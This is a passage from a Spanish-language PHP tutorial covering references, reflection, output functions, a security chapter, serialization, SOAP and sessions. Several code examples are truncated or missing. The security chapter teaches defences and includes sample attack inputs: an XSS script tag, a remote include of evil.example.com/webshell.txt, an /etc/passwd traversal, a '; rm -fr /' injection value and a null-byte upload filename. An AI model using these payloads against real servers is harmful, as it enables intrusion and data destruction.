Hay muchas formas diferentes que puede tomar devolver por referencia, incluido el siguiente
ejemplo:
function parent(&$var) {
echo $var;
$var = "updated";
}
function &child() {
static $a = "test";
return $a;
}
La devolución por referencia no solo se limita a las referencias de funciones. También tiene la
capacidad de llamar implícitamente a la función:
https://riptutorial.com/es/home 456
function &myFunction() {
static $a = 'foo';
return $a;
}
$bar = &myFunction();
$bar = "updated"
echo myFunction();
No puede hacer referencia directamente a una llamada de función, debe asignarse a una variable
antes de utilizarla. Para ver cómo funciona, simplemente intente echo &myFunction(); .
Notas
• Es necesario que especifique una referencia ( & ) en los dos lugares en los que pretende
usarla. Eso significa, para su definición de función ( function &myFunction() {... ) y en la
referencia de llamada ( function callFunction(&$variable) {... o &myFunction(); ).
• Solo puedes devolver una variable por referencia. De ahí la instanciación de $a en el
ejemplo anterior. Esto significa que no puede devolver una expresión, de lo contrario se
generará un error PHP E_NOTICE ( Notice: Only variable references should be returned by
reference in ...... ).
• El retorno por referencia tiene casos de uso legítimos, pero debo advertir que deben usarse
con moderación, solo después de explorar todas las demás opciones posibles para lograr el
mismo objetivo.
Esto le permite pasar una variable por referencia a una función o elemento que le permite
modificar la variable original.
El paso por referencia no se limita solo a las variables, lo siguiente también se puede pasar por
referencia:
Arrays
Un uso común de "pasar por referencia" es modificar los valores iniciales dentro de una matriz sin
llegar al extremo de crear nuevas matrices o ensuciar su espacio de nombres. El paso por
referencia es tan simple como precediendo / prefijando la variable con un & => &$myElement .
https://riptutorial.com/es/home 457
$arr = array(1, 2, 3, 4, 5);
foreach($arr as &$num) {
$num++;
}
Ahora, cuando aproveche cualquier elemento dentro de $arr , el elemento original se actualizará a
medida que se incrementa la referencia. Puedes verificar esto por:
print_r($arr);
Nota
Debe tomar nota al utilizar el pase por referencia dentro de los bucles. Al final del
bucle anterior, $num todavía contiene una referencia al último elemento de la matriz.
¡Asignarlo a un bucle posterior terminará manipulando el último elemento de la matriz!
Puede asegurarse de que esto no suceda unset() después del bucle:
foreach($myArray as &$num) {
$num++;
}
unset($num);
Funciones
Otro uso común para pasar por referencia es dentro de las funciones. Modificar la variable original
es tan simple como:
$var = 5;
// define
function add(&$var) {
$var++;
}
// call
add($var);
echo $var;
https://riptutorial.com/es/home 458
Nota: No hay ningún signo de referencia en una llamada de función, solo en las
definiciones de función. Las definiciones de funciones solas son suficientes para pasar
correctamente el argumento por referencia. A partir de PHP 5.3.0, recibirá una
advertencia que dice que el "paso por referencia en tiempo de llamada" está en
desuso cuando usa & in foo (& $ a) ;. Y a partir de PHP 5.4.0, se eliminó el paso por
referencia del tiempo de llamada, por lo que su uso generará un error fatal.
https://riptutorial.com/es/home 459
Capítulo 87: Reflexión
Examples
Acceso a variables de miembros privados y protegidos.
La reflexión se utiliza a menudo como parte de las pruebas de software, como para la creación /
creación de instancias de objetos simulados en tiempo de ejecución. También es ideal para
inspeccionar el estado de un objeto en un momento dado. Este es un ejemplo del uso de
Reflexión en una prueba unitaria para verificar que un miembro de clase protegido contenga el
valor esperado.
A continuación se muestra una clase muy básica para un coche. Tiene una variable miembro
protegida que contendrá el valor que representa el color del automóvil. Debido a que la variable
miembro está protegida, no podemos acceder a ella directamente y debemos usar un método de
obtención y configuración para recuperar y establecer su valor respectivamente.
class Car
{
protected $color
Para probar esto, muchos desarrolladores crearán un objeto Car, establecerán el color del auto
usando Car::setColor() , recuperarán el color usando Car::getColor() y compararán ese valor con
el color que establecieron:
/**
* @test
* @covers \Car::setColor
*/
public function testSetColor()
{
$color = 'Red';
$this->assertEquals($color, $reflectionColor);
}
https://riptutorial.com/es/home 460
En la superficie esto parece estar bien. Después de todo, todo lo que hace Car::getColor() es
devolver el valor de la variable miembro protegida Car::$color . Pero esta prueba es defectuosa
de dos maneras:
Veamos por qué no deberíamos usar Car::getColor() en nuestra prueba de unidad y deberíamos
usar Reflection en su lugar. Digamos que a un desarrollador se le asigna una tarea para agregar
"Metallic" a cada color de automóvil. Así que intentan modificar el Car::getColor() para anteponer
"Metallic" al color del auto:
class Car
{
protected $color
¿Ves el error? El desarrollador usó un punto y coma en lugar del operador de concatenación en
un intento de agregar "Metallic" al color del auto. Como resultado, siempre que se Car::getColor()
, se devolverá "Metallic" independientemente del color real del auto. Como resultado, nuestra
prueba de la unidad Car::setColor() fallará a pesar de que Car::setColor() funciona perfectamente
bien y no se vio afectado por este cambio .
Entonces, ¿cómo verificamos que Car::$color contiene el valor que estamos configurando a
través de Car::setColor() ? Podemos usar la Refelección para inspeccionar la variable miembro
protegida directamente. Entonces, ¿cómo hacemos eso ? Podemos usar la Refelección para
hacer que la variable miembro protegida sea accesible a nuestro código para que pueda
recuperar el valor.
/**
* @test
* @covers \Car::setColor
*/
public function testSetColor()
{
$color = 'Red';
https://riptutorial.com/es/home 461
$reflectionOfCar = new \ReflectionObject($car);
$protectedColor = $reflectionOfForm->getProperty('color');
$protectedColor->setAccessible(true);
$reflectionColor = $protectedColor->getValue($car);
$this->assertEquals($color, $reflectionColor);
}
Aquí es cómo estamos utilizando Reflection para obtener el valor de Car::$color en el código
anterior:
Como puede ver al usar Reflection, podemos obtener el valor de Car::$color sin tener que llamar
a Car::getColor() o cualquier otra función de acceso que pueda causar resultados de prueba no
válidos. Ahora nuestra prueba de unidad para Car::setColor() es segura y precisa.
class MyClass {
public $public_field;
protected $protected_field;
private $private_field;
static $static_field;
const CONSTANT = 0;
public function public_function() {}
protected function protected_function() {}
private function private_function() {}
static function static_function() {}
}
// check properties
$check = property_exists('MyClass', 'public_field'); // true
$check = property_exists('MyClass', 'protected_field'); // true
$check = property_exists('MyClass', 'private_field'); // true, as of PHP 5.3.0
$check = property_exists('MyClass', 'static_field'); // true
$check = property_exists('MyClass', 'other_field'); // false
// check methods
$check = method_exists('MyClass', 'public_function'); // true
$check = method_exists('MyClass', 'protected_function'); // true
$check = method_exists('MyClass', 'private_function'); // true
$check = method_exists('MyClass', 'static_function'); // true
// however...
$check = property_exists('MyClass', 'CONSTANT'); // false
$check = property_exists($object, 'CONSTANT'); // false
https://riptutorial.com/es/home 462
Con una ReflectionClass , también se pueden detectar constantes:
$r = new ReflectionClass('MyClass');
$check = $r->hasProperty('public_field'); // true
$check = $r->hasMethod('public_function'); // true
$check = $r->hasConstant('CONSTANT'); // true
// also works for protected, private and/or static members.
A veces es útil probar métodos privados y protegidos, así como métodos públicos.
class Car
{
/**
* @param mixed $argument
*
* @return mixed
*/
protected function drive($argument)
{
return $argument;
}
/**
* @return bool
*/
private static function stop()
{
return true;
}
}
class DriveTest
{
/**
* @test
*/
public function testDrive()
{
// prepare
$argument = 1;
$expected = $argument;
$car = new \Car();
// invoke logic
https://riptutorial.com/es/home 463
$result = $method->invokeArgs($car, [$argument]);
// test
$this->assertEquals($expected, $result);
}
}
class StopTest
{
/**
* @test
*/
public function testStop()
{
// prepare
$expected = true;
// invoke logic
$result = $method->invoke(null);
// test
$this->assertEquals($expected, $result);
}
}
https://riptutorial.com/es/home 464
Capítulo 88: Salida del valor de una variable
Introducción
Para construir un programa PHP dinámico e interactivo, es útil generar variables y sus valores. El
lenguaje PHP permite múltiples métodos de salida de valor. Este tema cubre los métodos
estándar de impresión de un valor en PHP y dónde se pueden usar estos métodos.
Observaciones
Las variables en PHP vienen en una variedad de tipos. Dependiendo del caso de uso, es posible
que desee enviarlos al navegador como HTML renderizado, generarlos para la depuración o
enviarlos al terminal (si ejecuta una aplicación a través de la línea de comandos).
Nota: Cuando se intenta generar un objeto como una cadena, PHP intentará
convertirlo en una cadena (llamando a __toString() - si el objeto tiene tal método). Si
no está disponible, un error similar a Object of class [CLASS] could not be converted to
string . En este caso, tendrá que inspeccionar el objeto más a fondo, consulte: salida-
una-vista-estructurada-de-arreglos-y-objetos .
Examples
hacer eco e imprimir
echoe print son construcciones de lenguaje, no funciones. Esto significa que no requieren
paréntesis alrededor del argumento como lo hace una función (aunque uno siempre puede
agregar paréntesis alrededor de casi cualquier expresión PHP y, por lo tanto, echo("test")
tampoco hará ningún daño). Producen la representación de cadena de una variable, constante o
expresión. No se pueden utilizar para imprimir matrices u objetos.
https://riptutorial.com/es/home 465
$name = "Joel";
• print, a diferencia de echo , es una expresión (devuelve 1 ), y por lo tanto puede usarse en
más lugares:
• Lo anterior es equivalente a:
print ("hey" && (print (" " && print "you"))); #> you11
Cuando está fuera de las etiquetas PHP , una notación abreviada de echo está disponible de
forma predeterminada, utilizando <?= Para comenzar la salida y ?> Para finalizarla. Por ejemplo:
<p><?=$variable?></p>
<p><?= "This is also PHP" ?></p>
Tenga en cuenta que no hay terminación ; . Esto funciona porque la etiqueta PHP de cierre actúa
como el terminador de la declaración única. Por lo tanto, es convencional omitir el punto y coma
en esta notación abreviada.
Prioridad de print
Si bien la print es lenguaje de construcción tiene prioridad como operador. Se ubica entre = += -=
*= **= /= .= %= &= and operadores y ha dejado asociación. Ejemplo:
https://riptutorial.com/es/home 466
Mismo ejemplo con paréntesis:
• print solo toma un parámetro, mientras que el echo puede tener múltiples parámetros.
• print devuelve un valor, por lo que se puede utilizar como una expresión.
Puede tener una variable que sea una matriz u objeto. Intentar emitirlo con un echo arrojará el
error:
Notice: Array to string conversion . En su lugar, puede usar la función print_r para volcar un
formato legible por humanos de esta variable.
Puede pasar verdadero como segundo parámetro para devolver el contenido como
una cadena.
stdClass Object
(
[myvalue] => Hello World
)
Array
(
[0] => Hello
[1] => World
)
Hello World
42
https://riptutorial.com/es/home 467
Además, la salida de print_r se puede capturar como una cadena, en lugar de simplemente hacer
eco. Por ejemplo, el siguiente código $myarray versión formateada de $myarray en una nueva
variable:
Tenga en cuenta que si está viendo la salida de PHP en un navegador y se interpreta como
HTML, los saltos de línea no se mostrarán y la salida será mucho menos legible a menos que
haga algo como
Alternativamente, puede decirle al navegador que lo que está generando es texto simple y no
HTML:
Puede usar var_dump para generar una versión más detallada para la depuración.
object(stdClass)#12 (1) {
["myvalue"]=>
string(11) "Hello World"
}
array(2) {
[0]=>
string(5) "Hello"
[1]=>
string(5) "World"
}
string(11) "Hello World"
int(42)
https://riptutorial.com/es/home 468
Nota : Si está utilizando xDebug en su entorno de desarrollo, la salida de var_dump está limitada /
truncada de forma predeterminada. Consulte la documentación oficial para obtener más
información sobre las opciones para cambiar esto.
Puede pasar verdadero como segundo parámetro para devolver el contenido a una
variable.
var_export($myarray);
var_export($mystring);
var_export($myint);
array (
0 => 'Hello',
1 => 'World',
)
'Hello World'
42
$myarray = array (
0 => 'Hello',
1 => 'World',
);
$mystring = 'Hello World';
$myint = 42;
printf vs sprintf
sprintf
https://riptutorial.com/es/home 469
devolverá la cadena formateada
$name = 'Jeff';
También es posible formatear un número con estas 2 funciones. Esto se puede usar para
formatear un valor decimal usado para representar el dinero de modo que siempre tenga 2 dígitos
decimales.
$money = 25.2;
printf('%01.2f', $money);
#> 25.20
Las dos funciones vprintf y vsprintf funcionan como printf y sprintf , pero aceptan una cadena
de formato y una matriz de valores, en lugar de variables individuales.
Puede usar la concatenación para unir las cadenas "de extremo a extremo" mientras las emite
(con echo o print por ejemplo).
// String variable
$name = 'Joel';
// Concatenate multiple strings (3 in this example) into one and echo it once done.
// 1. ↓ 2. ↓ 3. ↓ - Three Individual string items
echo '<p>Hello ' . $name . ', Nice to see you.</p>';
// ↑ ↑ - Concatenation Operators
Similar a la concatenación, el echo (cuando se usa sin paréntesis) se puede usar para combinar
cadenas y variables (junto con otras expresiones arbitrarias) usando una coma (,).
$itemCount = 1;
echo 'You have ordered ', $itemCount, ' item', $itemCount === 1 ? '' : 's';
// ↑ ↑ ↑ - Note the commas
https://riptutorial.com/es/home 470
Concatenación de cadenas vs pasar múltiples argumentos a
echo
Pasar múltiples argumentos al comando echo es más ventajoso que la concatenación de cadenas
en algunas circunstancias. Los argumentos se escriben en la salida en el mismo orden en que se
pasan.
En sistemas de 32 bits, los enteros más grandes que PHP_INT_MAX se convierten automáticamente
a flotar. La salida de estos como valores enteros (es decir, notación no científica) se puede hacer
con printf , utilizando la representación float , como se ilustra a continuación:
Si bien esto se ve bien, en este ejemplo artificial, todos los números se pueden representar como
un número binario, ya que todos son potencias de 1024 (y, por lo tanto, 2). Ver por ejemplo:
$n = pow(10, 27);
printf("%s %.0F\n", $n, $n);
// 1.0E+27 1000000000000000013287555072
https://riptutorial.com/es/home 471
Genere una matriz multidimensional con índice y valor e imprima en la tabla
Array
(
[0] => Array
(
[id] => 13
[category_id] => 7
[name] => Leaving Of Liverpool
[description] => Leaving Of Liverpool
[price] => 1.00
[virtual] => 1
[active] => 1
[sort_order] => 13
[created] => 2007-06-24 14:08:03
[modified] => 2007-06-24 14:08:03
[image] => NONE
)
<table>
<?php
foreach ($products as $key => $value) {
foreach ($value as $k => $v) {
echo "<tr>";
echo "<td>$k</td>"; // Get index.
echo "<td>$v</td>"; // Get value.
echo "</tr>";
}
}
?>
</table>
https://riptutorial.com/es/home 472
Capítulo 89: Seguridad
Introducción
Como la mayoría de los sitios web utilizan PHP, la seguridad de la aplicación es un tema
importante para que los desarrolladores de PHP protejan su sitio web, sus datos y sus clientes.
Este tema cubre las mejores prácticas de seguridad en PHP, así como las vulnerabilidades y
debilidades comunes con arreglos de ejemplo en PHP.
Observaciones
Ver también
Examples
Error al reportar
Por defecto, PHP generará errores , advertencias y mensajes de aviso directamente en la página
si ocurre algo inesperado en un script. Esto es útil para resolver problemas específicos con un
script, pero al mismo tiempo genera información que no quiere que sus usuarios sepan.
Por lo tanto, es una buena práctica evitar mostrar esos mensajes que revelarán información sobre
su servidor, como su árbol de directorios, por ejemplo, en entornos de producción. En un entorno
de desarrollo o prueba, estos mensajes aún pueden ser útiles para mostrar con fines de
depuración.
Puede desactivarlas para que los mensajes no se muestren, sin embargo, esto hace que la
depuración de su script sea más difícil.
<?php
ini_set("display_errors", "0");
?>
display_errors = 0
Errores de manejo
https://riptutorial.com/es/home 473
Una mejor opción sería almacenar esos mensajes de error en un lugar donde sean más útiles,
como una base de datos:
Este método registrará los mensajes en la base de datos y si eso falla en un archivo en lugar de
hacerlo directamente en la página. De esta manera, puede hacer un seguimiento de lo que los
usuarios están experimentando en su sitio web y notificarle de inmediato si algo va mal.
Problema
Las secuencias de comandos entre sitios son la ejecución involuntaria de código remoto por parte
de un cliente web. Cualquier aplicación web puede exponerse a XSS si recibe información de un
usuario y la publica directamente en una página web. Si la entrada incluye HTML o JavaScript, se
puede ejecutar un código remoto cuando el cliente web representa este contenido.
// http://example.com/runme.js
document.write("I'm running");
<?php
echo '<div>' . $_GET['input'] . '</div>';
<div><script src="http://example.com/runme.js"></script></div>
https://riptutorial.com/es/home 474
Solución
Como regla general, nunca confíe en la información proveniente de un cliente. Cada valor GET,
POST y cookie puede ser cualquier cosa y, por lo tanto, debe validarse. Cuando emita cualquiera
de estos valores, escápelos para que no se evalúen de manera inesperada.
Tenga en cuenta que incluso en las aplicaciones más simples los datos se pueden mover y será
difícil hacer un seguimiento de todas las fuentes. Por lo tanto, es una buena práctica escapar
siempre de la salida.
Funciones de filtro
Las funciones de filtro de PHP permiten que los datos de entrada al script php se desinfecten o
validen de muchas maneras . Son útiles al guardar o enviar datos de entrada del cliente.
Codificación HTML
htmlspecialchars convertirá los "caracteres especiales HTML" en sus codificaciones HTML, lo que
significa que no se procesarán como HTML estándar. Para arreglar nuestro ejemplo anterior
usando este método:
<?php
echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';
// or
echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';
Sería de salida:
<div><script src="http://example.com/runme.js"></script></div>
Todo lo que esté dentro de la etiqueta <div> no será interpretado como una etiqueta de JavaScript
por el navegador, sino como un simple nodo de texto. El usuario verá con seguridad:
<script src="http://example.com/runme.js"></script>
Codificación URL
Cuando se genera una URL generada dinámicamente, PHP proporciona la función urlencode para
urlencode con seguridad URL válidas. Entonces, por ejemplo, si un usuario puede ingresar datos
que se convierten en parte de otro parámetro GET:
<?php
$input = urlencode($_GET['input']);
// or
$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);
echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';
https://riptutorial.com/es/home 475
Cualquier entrada maliciosa se convertirá en un parámetro de URL codificada.
A veces deseará enviar HTML u otro tipo de entradas de código. Deberá mantener una lista de
palabras autorizadas (lista blanca) y no autorizada (lista negra).
Puede descargar las listas estándar disponibles en el sitio web de OWASP AntiSamy . Cada lista
es apta para un tipo específico de interacción (ebay api, tinyMCE, etc ...). Y es de código abierto.
Existen bibliotecas para filtrar HTML y prevenir ataques XSS en el caso general y que funcionan
al menos tan bien como las listas de AntiSamy con un uso muy fácil. Por ejemplo tienes
purificador de HTML
Inclusión de archivos
Este ejemplo inyecta un archivo alojado remotamente que contiene un código malicioso:
<?php
include $_GET['page'];
/vulnerable.php?page= http://evil.example.com/webshell.txt ?
<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
include $page;
} else {
include 'index.php';
}
/vulnerable.php?page=../../../../etc/passwd
https://riptutorial.com/es/home 476
esos.
<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
include($page);
} else {
include('index.php');
}
Problema
De manera similar, la inyección SQL permite que un atacante ejecute consultas arbitrarias en una
base de datos, la inyección de línea de comandos permite que alguien ejecute comandos del
sistema que no sean de confianza en un servidor web. Con un servidor asegurado
incorrectamente, esto le daría a un atacante un control completo sobre un sistema.
Digamos, por ejemplo, que un script le permite a un usuario listar el contenido del directorio en un
servidor web.
<pre>
<?php system('ls ' . $_GET['path']); ?>
</pre>
(En una aplicación del mundo real, se usarían las funciones u objetos incorporados de PHP para
obtener el contenido de la ruta. Este ejemplo es para una simple demostración de seguridad).
Uno esperaría obtener un parámetro de path similar a /tmp . Pero como cualquier entrada está
permitida, la path podría ser ; rm -fr / . El servidor web ejecutaría entonces el comando.
ls; rm -fr /
Solución
Todos los argumentos de comando deben escaparse utilizando escapeshellarg() o
escapeshellcmd() . Esto hace que los argumentos no sean ejecutables. Para cada parámetro, el
valor de entrada también debe ser validado .
<pre>
<?php system('ls ' . escapeshellarg($_GET['path'])); ?>
</pre>
https://riptutorial.com/es/home 477
Siguiendo el ejemplo anterior con el intento de eliminar archivos, el comando ejecutado se
convierte en
Se debe tener en cuenta que el ejemplo anterior ahora es seguro desde la inyección de
comandos, pero no desde el cruce de directorios. Para solucionar esto, se debe verificar que la
ruta normalizada comience con el subdirectorio deseado.
PHP ofrece una variedad de funciones que se ejecutan los comandos del sistema, incluyendo
exec , passthru , proc_open , shell_exec y system . Todos deben tener sus entradas cuidadosamente
validadas y escapadas.
Por defecto, PHP le dirá al mundo qué versión de PHP está utilizando, por ejemplo,
X-Powered-By: PHP/5.3.8
expose_php = off
O cambiar el encabezado:
header("X-Powered-By: Magic");
Si alguno de los métodos anteriores no funciona, también existe la función header_remove() que le
brinda la capacidad de eliminar el encabezado:
header_remove('X-Powered-By');
Si los atacantes saben que está usando PHP y la versión de PHP que está usando, es más fácil
para ellos explotar su servidor.
Etiquetas de desmontaje
strip_tags es una función muy poderosa si sabes cómo usarla. Como método para evitar ataques
de scripts entre sitios, existen mejores métodos, como la codificación de caracteres, pero eliminar
etiquetas es útil en algunos casos.
https://riptutorial.com/es/home 478
Ejemplo básico
echo strip_tags($string);
Salida cruda
Permitir etiquetas
Digamos que desea permitir una determinada etiqueta pero no otras etiquetas, luego lo
especificaría en el segundo parámetro de la función. Este parámetro es opcional. En mi caso, solo
quiero que se pase la etiqueta <b> .
Salida cruda
Aviso (s)
comentarios HTML y las etiquetas PHP también se eliminan. Esto está codificado y no se puede
HTML
cambiar con allowable_tags.
En PHP 5.3.4 y versiones posteriores, las etiquetas XHTML cierre automático se ignoran y solo se
deben usar etiquetas que no sean de cierre automático en allowable_tags. Por ejemplo, para
permitir tanto <br> <br/> , debe usar:
<?php
strip_tags($input, '<br>');
?>
Problema
La falsificación de solicitudes entre sitios o CSRF puede forzar a un usuario final a generar, sin
saberlo, solicitudes maliciosas a un servidor web. Este vector de ataque puede ser explotado en
las solicitudes POST y GET. Digamos, por ejemplo, que el punto final de url /delete.php?accnt=12
https://riptutorial.com/es/home 479
elimina la cuenta tal como se pasa desde el parámetro accnt de una solicitud GET. Ahora si un
usuario autenticado encontrará el siguiente script en cualquier otra aplicación
Solución
Una solución común a este problema es el uso de tokens CSRF . Los tokens CSRF están
integrados en las solicitudes, de modo que una aplicación web puede confiar en que una solicitud
provino de una fuente esperada como parte del flujo de trabajo normal de la aplicación. Primero,
el usuario realiza alguna acción, como ver un formulario, que activa la creación de un token único.
Un formulario de ejemplo que implementa esto podría verse como
El servidor puede validar el token contra la sesión del usuario después del envío del formulario
para eliminar las solicitudes maliciosas.
Código de muestra
Aquí está el código de ejemplo para una implementación básica:
https://riptutorial.com/es/home 480
...
Subiendo archivos
Si desea que los usuarios carguen archivos en su servidor, necesita hacer un par de
comprobaciones de seguridad antes de mover el archivo cargado a su directorio web.
$_FILES['file']['name'];
$_FILES['file']['type'];
$_FILES['file']['size'];
$_FILES['file']['tmp_name'];
../script.php%00.png
https://riptutorial.com/es/home 481
Mira bien ese nombre de archivo y deberías notar un par de cosas.
Así que ahora he subido script.php a otro directorio, pasando las validaciones simples a las
extensiones de archivo. También pasa por .htaccess archivos .htaccess que impide que los scripts
se ejecuten desde su directorio de carga.
$pathinfo = pathinfo($filename);
$extension = $pathinfo['extension'] ? $pathinfo['extension']:'';
$filename = $pathinfo['filename'] ? $pathinfo['filename']:'';
Si bien ahora tenemos un nombre de archivo y una extensión que se pueden usar para
almacenar, sigo prefiriendo almacenar esa información en una base de datos y le doy un nombre
generado, por ejemplo, md5(uniqid().microtime())
+----+--------+-----------+------------+------+----------------------------------+------------
---------+
| id | title | extension | mime | size | filename | time
|
+----+--------+-----------+------------+------+----------------------------------+------------
---------+
| 1 | myfile | txt | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11
00:38:54 |
+----+--------+-----------+------------+------+----------------------------------+------------
---------+
https://riptutorial.com/es/home 482
ya que no puede apuntarlo específicamente para su ejecución.
Incluso puede ir un paso más allá para validar las imágenes, y eso es realmente abrirlas:
Puede obtener el tipo mime utilizando una función incorporada o una clase .
$allowedFiletypes = [
'image/png' => [ 'png' ],
'image/gif' => [ 'gif' ],
'image/jpeg' => [ 'jpg', 'jpeg' ],
];
https://riptutorial.com/es/home 483
Capítulo 90: Serialización de objetos
Sintaxis
• serializar ($ objeto)
• unserialize ($ objeto)
Observaciones
Todos los tipos de PHP excepto los recursos son serializables. Los recursos son un tipo de
variable único que hace referencia a fuentes "externas", como las conexiones de base de datos.
Examples
Serializar / No serializar
serialize() devuelve una cadena que contiene una representación de byte-stream de cualquier
valor que se puede almacenar en PHP. unserialize() puede usar esta cadena para recrear los
valores de las variables originales.
serialize($object);
unserialize($object)
Ejemplo
$array = array();
$array["a"] = "Foo";
$array["b"] = "Bar";
$array["c"] = "Baz";
$array["d"] = "Wom";
$serializedArray = serialize($array);
echo $serializedArray; //output:
a:4:{s:1:"a";s:3:"Foo";s:1:"b";s:3:"Bar";s:1:"c";s:3:"Baz";s:1:"d";s:3:"Wom";}
La interfaz serializable
Introducción
https://riptutorial.com/es/home 484
invoca a __destruct() ni tiene ningún otro efecto secundario a menos que esté
programado dentro del método. Cuando los datos no están unserialized , se conoce la
clase y se llama al método unserialize() apropiado como constructor en lugar de
llamar a __construct() . Si necesita ejecutar el constructor estándar, puede hacerlo en
el método.
Uso básico
$newobj = unserialize($ser);
https://riptutorial.com/es/home 485
Capítulo 91: Servidor SOAP
Sintaxis
• addFunction () // Registre una (o más) función en el controlador de solicitudes SOAP
• addSoapHeader () // Agregar un encabezado SOAP a la respuesta
• fault () // Emitir SoapServer falla indicando un error
• getFunctions () // Devuelve la lista de funciones
• handle () // Maneja una solicitud SOAP
• setClass () // Establece la clase que maneja las solicitudes SOAP
• setObject () // Establece el objeto que se utilizará para manejar las solicitudes SOAP
• setPersistence () // Establece el modo de persistencia de SoapServer
Examples
Servidor SOAP básico
function test($x)
{
return $x;
}
https://riptutorial.com/es/home 486
Capítulo 92: Sesiones
Sintaxis
• void session_abort (void)
• int session_cache_expire ([string $ new_cache_expire])
• void session_commit (void)
• string session_create_id ([string $ prefix])
• bool session_decode (string $ data)
• bool session_destroy (void)
• string session_encode (void)
• int session_gc (void)
• array session_get_cookie_params (void)
• string session_id ([string $ id])
• bool session_is_registered (string $ name)
• string session_module_name ([string $ module])
• string session_name ([string $ name])
• bool session_regenerate_id ([bool $ delete_old_session = false])
• void session_register_shutdown (void)
• bool session_register (mixed $ name [, mixed $ ...])
• void session_reset (void)
• string session_save_path ([string $ path])
• void session_set_cookie_params (int $ lifetime [, string $ path [, string $ domain [, bool $
secure = false [, bool $ httponly = false]]])
• bool session_set_save_handler (callable $ abrir, callable $ cerrar, callable $ leer, callable $
escribir, callable $ destruir, callable $ gc [, callable $ create_sid [, callable $ validate_sid [,
callable $ update_timestamp]])
• bool session_start ([array $ options = []])
• int session_status (void)
• bool session_unregister (string $ nombre)
• void session_unset (void)
• void session_write_close (void)
Observaciones
Tenga en cuenta que llamar a session_start() incluso si la sesión ya ha comenzado dará como
resultado una advertencia de PHP.
Examples
Manipulación de datos de sesión.
La variable $_SESSION es una matriz, y puede recuperarla o manipularla como una matriz normal.
https://riptutorial.com/es/home 487
<?php
// Starting the session
session_start();
// conditional usage of session values that may have been set in a previous session
if(!isset($_SESSION["login"])) {
echo "Please login first";
exit;
}
// now you can use the login safely
$user = $_SESSION["login"];
También vea Manipular una matriz para obtener más información sobre cómo trabajar en una
matriz.
Tenga en cuenta que si almacena un objeto en una sesión, solo se puede recuperar con gracia si
tiene un autoloader de clase o si ya ha cargado la clase. De lo contrario, el objeto saldrá como el
tipo __PHP_Incomplete_Class , que más tarde puede provocar bloqueos . Ver espacios de nombre y
carga automática sobre carga automática.
Advertencia:
Los datos de sesión pueden ser secuestrados. Esto se describe en: Pro PHP Security: de los
principios de seguridad de la aplicación a la implementación de XSS Defence - Capítulo 7:
Prevención del secuestro de sesiones Por lo tanto, se recomienda encarecidamente que nunca
almacene información personal en $_SESSION . Esto incluiría críticamente los números de tarjetas
de crédito , los identificadores emitidos por el gobierno y las contraseñas ; pero también se
extendería a datos menos confiables, como nombres , correos electrónicos , números de
teléfono , etc., lo que permitiría a un pirata informático hacerse pasar por un usuario legítimo.
Como regla general, utilice valores sin valor / no personales, como identificadores numéricos, en
los datos de sesión.
Si tienes una sesión que deseas destruir, puedes hacerlo con session_destroy()
/*
Let us assume that our session looks like this:
Array([firstname] => Jon, [id] => 123)
/*
We can now remove all the values from the `SESSION` superglobal:
https://riptutorial.com/es/home 488
If you omitted this step all of the global variables stored in the
superglobal would still exist even though the session had been destroyed.
*/
$_SESSION = array();
// If it's desired to kill the session, also delete the session cookie.
// Note: This will destroy the session, and not just the session data!
if (ini_get("session.use_cookies")) {
$params = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000,
$params["path"], $params["domain"],
$params["secure"], $params["httponly"]
);
}
Usar session_destroy() es diferente a usar algo como $_SESSION = array(); que eliminará todos los
valores almacenados en la SESSION superglobal pero no destruirá la versión almacenada real de la
sesión.
Opciones de session_start ()
Comenzando con las sesiones de PHP, podemos pasar una matriz con opciones php.ini basadas
en sesión a la función session_start .
Ejemplo
<?php
if (version_compare(PHP_VERSION, '7.0.0') >= 0) {
// php >= 7 version
session_start([
'cache_limiter' => 'private',
'read_and_close' => true,
]);
} else {
// php < 7 version
session_start();
}
?>
Referencia: https://wiki.php.net/rfc/session-lock-ini
Nombre de sesion
https://riptutorial.com/es/home 489
Comprobando si las cookies de sesión han
sido creadas
Nombre de sesión es el nombre de la cookie utilizada para almacenar sesiones. Puede usar esto
para detectar si se han creado cookies para una sesión para el usuario:
if(isset($_COOKIE[session_name()])) {
session_start();
}
Tenga en cuenta que este método generalmente no es útil a menos que realmente no quiera
crear cookies innecesariamente.
Debe contener solo caracteres alfanuméricos; debe ser breve y descriptivo (es decir,
para usuarios con advertencias de cookies habilitadas). El nombre de la sesión no
puede constar de dígitos solamente, por lo menos una letra debe estar presente. De lo
contrario, cada vez se genera un nuevo ID de sesión.
Bloqueo de sesión
Como todos sabemos, PHP escribe datos de sesión en un archivo en el lado del servidor. Cuando
se realiza una solicitud al script php que inicia la sesión a través de session_start() , PHP bloquea
este archivo de sesión que resulta en bloquear / esperar otras solicitudes entrantes para que se
complete la misma session_id , debido a que las otras solicitudes se atascarán en session_start()
hasta que o a menos que el archivo de sesión bloqueado no se libere
El archivo de sesión permanece bloqueado hasta que el script se completa o la sesión se cierra
manualmente. Para evitar esta situación, es decir, para evitar que se bloqueen varias solicitudes ,
podemos iniciar la sesión y cerrar la sesión, lo que liberará el bloqueo del archivo de sesión y
